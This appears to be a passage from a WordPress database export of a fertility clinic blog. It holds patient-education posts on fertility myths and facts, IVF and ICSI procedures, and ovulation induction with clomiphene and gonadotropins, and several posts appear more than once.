= BMI 22.)\n\nWeight not only potentially impacts fertility but pregnancy as well. According to the March of Dimes, overweight women who become pregnant are at greater risk for pregnancy-related high blood pressure and diabetes, and underweight women are more likely to deliver a low birth weight baby. If you are at a reasonable weight and trying to conceive, now is not the time to begin training for a marathon or go on a crash diet.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #3 Sexual positions -- coital or postcoital -- don\'t affect your chances of conception.</strong></h3>\nNo study has confirmed that one position is more effective than any other in achieving pregnancy. In fact, sperm can be found in the cervical canal mere seconds after ejaculation, regardless of position. Of course, aiming for the deepest penetration and maximum cervical contact makes sense, but the optimal position varies because every woman’s body is different.\n\nAnd since sperm starts swimming immediately after ejaculation, it isn’t necessary for a woman to become a gymnast or a yoga master to make a baby. There may be a little advantage to lying around after intercourse to keep the sperm inside you, but there’s absolutely no value in standing on your head, says Dr. Thatcher. So savor the mood however you please.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #4 The biological clock ticks for men too.</strong></h3>\nThe notion that age-related fertility decline is only a female factor has been debunked by a recent British study. Researchers at Bristol and Brunel Universities evaluated 8,500 couples to determine the impact of age on the length of time it took to conceive. They discovered that while only 8 percent of men younger than 25 fail to impregnate their partner after a year of trying, that number grows to 15 percent after age 35. Despite other factors, such as the fact that frequency of intercourse drops off with age, the study suggests that paternal age, too, may be a consideration for couples struggling with infertility.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #5 Ovulation day is not necessarily the best day to try to conceive a child.</strong></h3>\nSperm can live in the female reproductive tract for up to three days after intercourse, so having sex every day, or even on ovulation day, is not necessary. What is critical is knowing when you are fertile. According to data from the AIA, 20 percent of couples seeking infertility treatment are not timing intercourse correctly.\n\nA woman is fertile for a period of six days, the five days leading up to ovulation (when the egg is released from the ovary) and the day of ovulation. A study by the National Institute of Environmental Sciences found, much to the researchers’ surprise, that a woman ‘s capacity to conceive seems to end on ovulation day. So if women charting their basal body temperature are waiting for their temperature to go up to have intercourse, they’re too late, warns Melissa Holmes, MD, associate professor of obstetrics and gynecology at the Medical University of South Carolina in Charleston. She recommends using ovulation kits because they let you know when you’re about to ovulate. Having sex on the two days prior to ovulation offers the greatest chance of conception.\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Fact #6 However brief your partner\'s particular choice of underwear, it\'s unlikely that it will impact his fertility.</strong></h3>\nUp until several years ago, future dads were discouraged from wearing briefs because their tight fit held the testicles close to the body, raising scrotal temperature and causing a decrease in sperm count or concentration. And while it is true that very high temperatures can be harmful to sperm, choice of underwear does not heat things up enough to make an impact, according to two recent studies. So if briefs (or bikinis, for that matter) are more likely to heat things up between you and your partner, stock up on those Jockeys!\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Fact #7 Birth control choices have fertility implications.</strong></h3>\nIt sounds like a cruel joke, but it’s true, says Dr. Holmes. The method of contraception that a woman has used may also impact conception. Women who used progesterone injections of Depo-Provera may have to wait for normal fertility to resume after they’ve stopped using the drug for six to nine months or even a year. It may take women who use Lunelle, another injectable form of birth control, six months to a year to have a normal menstrual and ovulation cycle.\n\nAnd while many women believe that the effects of the pill linger long after they stop using it, that’s yet another myth. Furthermore, it’s not necessary to wait for several cycles to “wash out” oral contraceptives before getting started. In fact, immediately after the pill is stopped, there can be an anovulatory rebound effect, resulting in a super-fertile period. Despite the increased chances of conceiving right after stopping the pill, Dr. Holmes still recommends most of her patients go off it two or three months prior to trying to conceive. That way, you can more predictably determine the length of your cycle, identify your fertile days, and be able to better date when you conceived once you actually do get pregnant.\n\nOral contraceptives also help to preserve fertility — pill users have a decreased risk of illnesses that harm fertility, such as endometriosis, PID, and ectopic pregnancy. The bottom line? Take stock of your birth control choices before you decide you want to get pregnant.\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Fact #8 Specific foods or diets do not have a large impact on fertility.</strong></h3>\nThere is no magic diet that will increase the chances of sperm meeting egg; the best thing you can do is eat a diet high in nutrients and fiber and cut down on your consumption of highly processed foods. It’s also important for couples trying to conceive to get plenty of folic acids, which helps prevent birth defects and can improve sperm count.\n\nAnd while you may have heard that caffeine can hamper conception, don’t toss out your favorite mug just yet. Though there have been reports that women who drank more than one cup of coffee daily were half as likely to conceive per cycle as those who drank less, researchers acknowledge that delayed conception could have been attributed to other factors, and subsequent studies have failed to find a significant link between moderate amounts of caffeine and fertility.\n\nSome research has shown that zinc may <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>improve sperm count</strong></a></span>, but don’t go overboard on any one nutrient. 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conceiving. This plays a major role if you planning to conceive. Keep stress at bay; try spending time with family and friends. Read books and prioritize your commitments.</p>\r\n<!--more-->\r\n\r\n\r\n<p>Female infertility is still easier to understand and cure because in majority of the cases the problem is known.</p>\r\n\r\n<strong>Address your nutritional deficiencies</strong>\r\n<p>See what you not eating and keep a check on what you eating. Know the best fertility diets and best food. Check with your doctor what you need to avoid in your meal. Ensuring a proper intake has much to do with enhancing fertility.</p>\r\n\r\n<strong>Tubal disease</strong>\r\n<p>Approx 15%-18% of infertility cases is due to tubal disease which means your fallopian tubes are blocked, where you need to undergo some tests.</p>\r\n\r\n<strong>Age matters for infertility</strong>\r\n<p>Age has direct and distinct correlation with infertility. Body strength, resistance, immunity and hormonal levels are at the peak during young age and hence it is important to keep this factor under consideration. The vitality and sustainability of our body gets declined as we go old. Therefore it is always better to start infertility related treatment at the early age.</p>\r\n\r\n<strong>Sleep well</strong>\r\n<p>There have been studies that clearly show the correlation of lack of sound sleep and infertility. So you must be aware in case you are a frequent party animal. To be awake late night for a long time makes fundamental changes in the hormone levels thereby increasing the chances of infertility. Scientists say that people having inadequate sleep for a longer time face various health related problems, including low fertility rates. It affects the hormonal balance in the body that is one of the major causes for infertility.</p>\r\n\r\n<strong>Diagnosis and treatment of female infertility</strong>\r\n<p>Diagnosing the root cause and deciding the treatment is the turning point in the whole process and experience of handling a wide variety of cases by the experts plays a major role in it.</p>\r\n<p>Treatment of female infertility</p>\r\n<p>The experts usually go by an elimination method. The first step will be to identify where ovulation is normal or it is absent at all. Checking by ovulation kit, recording body temperature or checking the level of progesterone is done to determine this. They perform multiple rounds of ultrasound tests as well. If the ovulation is not normal, then drugs are prescribed to stimulate the ovulation. In case ovulation appears to be normal, then experts check the other possibilities of antibodies responsible for destroying sperms before the fertilization or obstacles in the fallopian tube. The treatment normally involves medication, microsurgery or a combination of both.</p>\r\n\r\n<strong>Diagnosis and treatment of male infertility</strong>\r\n<p>Male fertility is extremely complex to diagnose and cure. At International Fertility Centre, we try to find out the fundamental reason by various tests and research. Semen samples are tested in the laboratory to know the sperm count, sperm strength and other factors. Hormonal levels are checked to determine the testosterone levels. Physiological problems like defects in genital organs, STD or VD, retrograde ejaculation are also checked. Here we take all the possible efforts to make pregnancy successful and bring the little angel in this world.</p>\r\n\r\n<strong>Strain in the relationship</strong>\r\n<p>Dealing with infertility becomes further complicated with the strain in relationship between the couple. Both partners must keep the relations absolutely tuned and no internal conflicts or friction should arise. This is the time of providing complete physical, mental and emotional support to each other. For male partner, the responsibility gets further increased because female partner has to undergo a lot of physical pain and suffering. Treatment process has multiple cycles of IVF pregnancy, various tests and procedures that cause tremendous pressure on the female. She has to be understood with sympathy and emotional way to avoid mental trauma. Training and application of certain mental and psychological techniques might help a lot.</p>\r\n\r\n<strong>Known as unexplained infertility</strong>\r\n<p>(where the cause of infertility is not known or cannot be diagnosed), such a situation can often be quite frustrating for everyone involved. Unfortunately, it is quite common and can sometimes hinder the fertility treatment process. Up to 10% of couples who visit a fertility clinic for treatment receive a diagnosis of unexplained fertility. Always remember that infertility can be cured like any other disease and by being fit you can fight infertility.</p>\r\n\r\n<strong>Fact #1 Overall good health isn\'t necessarily a sign that you (or your partner, for that matter) are fertile.</strong>\r\n\r\n<p>You exercise regularly, eat a nutritious diet, and have enviable cholesterol and blood pressure levels. That’s great, but it doesn’t mean you’re fertile. One in 10 healthy couples of reproductive age will experience fertility problems. The causes are variable and equally attributed one-third of the time to the female, one-third of the time to the male, and one-third to unidentifiable reasons or to both partners. Unfortunately, the biggest factor that impacts fertility is something none of us can control: age, says Sam Thatcher, MD, a reproductive endocrinologist at the Center for Applied Reproductive Science in Johnson City, Tennessee, and author of Making a Baby: Everything You Need to Know to Get Pregnant (Ballantine, 2000).\r\nFor healthy women, fertility peaks in their mid 20s, begins declining at age 27, then nosedives around age 37. If you are in your mid 30s or older and trying to conceive, you need to be very pointed in your efforts, Dr. Thatcher advises. That means figuring out when you’re ovulating and having sex at those optimal times. And if you’re over 35 and concerned about your fertility, don’t settle for a gynecologist saying “Just give it time,” cautions Dr. Thatcher. The American Society of Reproductive Medicine advises women age 35 or older to consult a fertility specialist if they fail to get pregnant after six months of unprotected intercourse. Women ages 37 to 40 should wait no longer than three months.</p>\r\n\r\n<strong>Fact #2 Your weight affects your ability to conceive.</strong>\r\n<p>Surprise! Twelve percent of all infertility cases are rooted in weight issues. If your body is chronically malnourished or overexercised, you can’t menstruate, since a minimum of 22 percent body fat is necessary for normal ovulation and reproductive competence. On the other side of the scale, being overweight can alter hormone chemistry and help prevent ovulation. The good news is that shedding or gaining pounds can easily remedy weight-related infertility; more than 70 percent of women conceive spontaneously once they reach healthy weight parameters. Doctors consider a body mass index (BMI) between 19 and 25 ideal. (BMI = weight in pounds divided by height in inches, divided by height in inches again, multiplied by 703. Example: 135 pounds, divided by 66 inches, divided by 66 inches, multiplied by 703 = BMI 22.)\r\nWeight not only potentially impacts fertility but pregnancy as well. According to the March of Dimes, overweight women who become pregnant are at greater risk for pregnancy-related high blood pressure and diabetes, and underweight women are more likely to deliver a low birth weight baby. If you are at a reasonable weight and trying to conceive, now is not the time to begin training for a marathon or go on a crash diet.</p>\r\n\r\n<strong>Fact #3 Sexual positions -- coital or postcoital -- don\'t affect your chances of conception.</strong>\r\n<p>No study has confirmed that one position is more effective than any other in achieving pregnancy. In fact, sperm can be found in the cervical canal mere seconds after ejaculation, regardless of position. Of course, aiming for the deepest penetration and maximum cervical contact makes sense, but the optimal position varies because every woman’s body is different.\r\nAnd since sperm start swimming immediately after ejaculation, it isn’t necessary for a woman to become a gymnast or a yoga master to make a baby. There may be a little advantage to lying around after intercourse to keep the sperm inside you, but there’s absolutely no value in standing on your head, says Dr. Thatcher. So savor the mood however you please.</p>\r\n\r\n<strong>Fact #4 The biological clock ticks for men too.</strong>\r\n<p>The notion that age-related fertility decline is only a female factor has been debunked by a recent British study. Researchers at Bristol and Brunel Universities evaluated 8,500 couples to determine the impact of age on the length of time it took to conceive. They discovered that while only 8 percent of men younger than 25 fail to impregnate their partner after a year of trying, that number grows to 15 percent after age 35. Despite other factors, such as the fact that frequency of intercourse drops off with age, the study suggests that paternal age, too, may be a consideration for couples struggling with infertility.</p>\r\n\r\n<strong>Fact #5 Ovulation day is not necessarily the best day to try to conceive a child.</strong>\r\n<p>Sperm can live in the female reproductive tract for up to three days after intercourse, so having sex every day, or even on ovulation day, is not necessary. What is critical is knowing when you are fertile. According to data from the AIA, 20 percent of couples seeking infertility treatment are not timing intercourse correctly.\r\nA woman is fertile for a period of six days, the five days leading up to ovulation (when the egg is released from the ovary) and the day of ovulation. A study by the National Institute of Environmental Sciences found, much to the researchers’ surprise, that a woman ‘s capacity to conceive seems to end on ovulation day. So if women charting their basal body temperature are waiting for their temperature to go up to have intercourse, they’re too late, warns Melissa Holmes, MD, associate professor of obstetrics and gynecology at the Medical University of South Carolina in Charleston. She recommends using ovulation kits because they let you know when you’re about to ovulate. Having sex on the two days prior to ovulation offers the greatest chance of conception.</p>\r\n\r\n<strong>Fact #6 However brief your partner\'s particular choice of underwear, it\'s unlikely that it will impact his fertility.</strong>\r\n<p>Up until several years ago, future dads were discouraged from wearing briefs because their tight fit held the testicles close to the body, raising scrotal temperature and causing a decrease in sperm count or concentration. And while it is true that very high temperatures can be harmful to sperm, choice of underwear does not heat things up enough to make an impact, according to two recent studies. So if briefs (or bikinis, for that matter) are more likely to heat things up between you and your partner, stock up on those Jockeys!</p>\r\n\r\n<strong>Fact #7 Birth control choices have fertility implications.</strong>\r\n<p>It sounds like a cruel joke, but it’s true, says Dr. Holmes. The method of contraception that a woman has used may also impact conception. Women who used progesterone injections of Depo-Provera may have to wait for normal fertility to resume after they’ve stopped using the drug for six to nine months or even a year. It may take women who use Lunelle, another injectable form of birth control, six months to a year to have a normal menstrual and ovulation cycle.\r\nAnd while many women believe that the effects of the pill linger long after they stop using it, that’s yet another myth. Furthermore, it’s not necessary to wait several cycles to “wash out” oral contraceptives before getting started. In fact, immediately after the pill is stopped, there can be an ovulatory rebound effect, resulting in a super-fertile period. Despite the increased chances of conceiving right after stopping the pill, Dr. Holmes still recommends most of her patients go off it two or three months prior to trying to conceive. That way, you can more predictably determine the length of your cycle, identify your fertile days, and be able to better date when you conceived once you actually do get pregnant.\r\nOral contraceptives also help to preserve fertility — pill users have a decreased risk of illnesses that harm fertility, such as endometriosis, PID, and ectopic pregnancy. The bottom line? Take stock of your birth control choices before you decide you want to get pregnant.</p>\r\n\r\n<strong>Fact #8 Specific foods or diets do not have a large impact on fertility.</strong>\r\n<p>There is no magic diet that will increase the chances of sperm meeting egg; the best thing you can do is eat a diet high in nutrients and fiber and cut down on your consumption of highly processed foods. It’s also important for couples trying to conceive to get plenty of folic acid, which helps prevent birth defects and can improve sperm count.\r\nAnd while you may have heard that caffeine can hamper conception, don’t toss out your favorite mug just yet. Though there have been reports that women who drank more than one cup of coffee daily were half as likely to conceive per cycle as those who drank less, researchers acknowledge that delayed conception could have been attributed to other factors, and subsequent studies have failed to find a significant link between moderate amounts of caffeine and fertility.\r\nSome research has shown that zinc may improve sperm count, but don’t go overboard on any one nutrient. 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08:38:43','http://www.nufertility.com/blog/wp-content/uploads/2018/01/cropped-logo.png','cropped-logo.png','','inherit','open','closed','','cropped-logo-png','','','2018-02-08 08:38:43','2018-02-08 08:38:43','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/01/cropped-logo.png',0,'attachment','image/png',0),(172,1,'2018-02-08 09:49:42','2018-02-08 09:49:42','<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf7.png\"></center>\r\n<!--more-->\r\n<strong>What is IVF?</strong>\r\n\r\n\r\n\r\n<p>IVF (In-vitro fertilization) or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.</p>\r\n<strong>Who needs an IVF?</strong>\r\n<p>IVF may be considered if,</p>\r\n<ul>\r\n	<li>you have been diagnosed with unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis\r\n</li>\r\n	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n	<li>If you have severe endometriosis</li>\r\n</ul>\r\n\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n<p>Your treatment cycle would be as follows</p>\r\n<p><strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.</p>\r\n<p><strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.</p>\r\n<p><strong>Step 3:</strong>  Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.</p>\r\n<p><strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.</p>\r\n<p><strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.</p>\r\n<p><strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.</p>\r\n<p><strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.</p>\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n	<li>Be stress free and relax your mind</li>\r\n	<li>Avoid intercourse during the treatment.</li>\r\n	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n<p>You will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.</p>\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n<p>It is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check.  This does not increase your chances of becoming pregnant.</p>\r\n <p>ICS</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\">\r\n \r\n  <p>IVF</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\">\r\n \r\n\r\n\r\n  <strong>What is ICSI? How does it differ from IVF?</strong>\r\n<P>ICSI –<a href=\"https://www.nuhospitals.com/ivf/infertility-treatment/\"> Intracytoplasmic sperm injection,</a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.</P>\r\n\r\n<strong>What is the success rate?</strong>\r\n<p>Success rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of infertility. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.</p>\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n<p>Surplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.</p>\r\n\r\n<strong>What are the complications?</strong>\r\n<p>Two most important complications of IVF are</p>\r\n<ul>\r\n	<li>Multiple pregnancy (20-25%)</li>\r\n	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n<p>You will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer</p>\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n<p>There is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.</p>\r\n\r\n<strong>References</strong>\r\n<ul>\r\n<li>Fertility: assessment and treatment for people with <a href=\"https://www.nuhospitals.com/fertility/\">fertility</a> problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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08:11:14','',0,'http://www.nufertility.com/blog/?p=173',32,'nav_menu_item','',0),(175,1,'2018-02-09 06:21:57','2018-02-09 06:21:57','<!--more-->\r\n\r\n\r\n<strong>What is ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\"></center>\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. 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ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\"></center>\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to 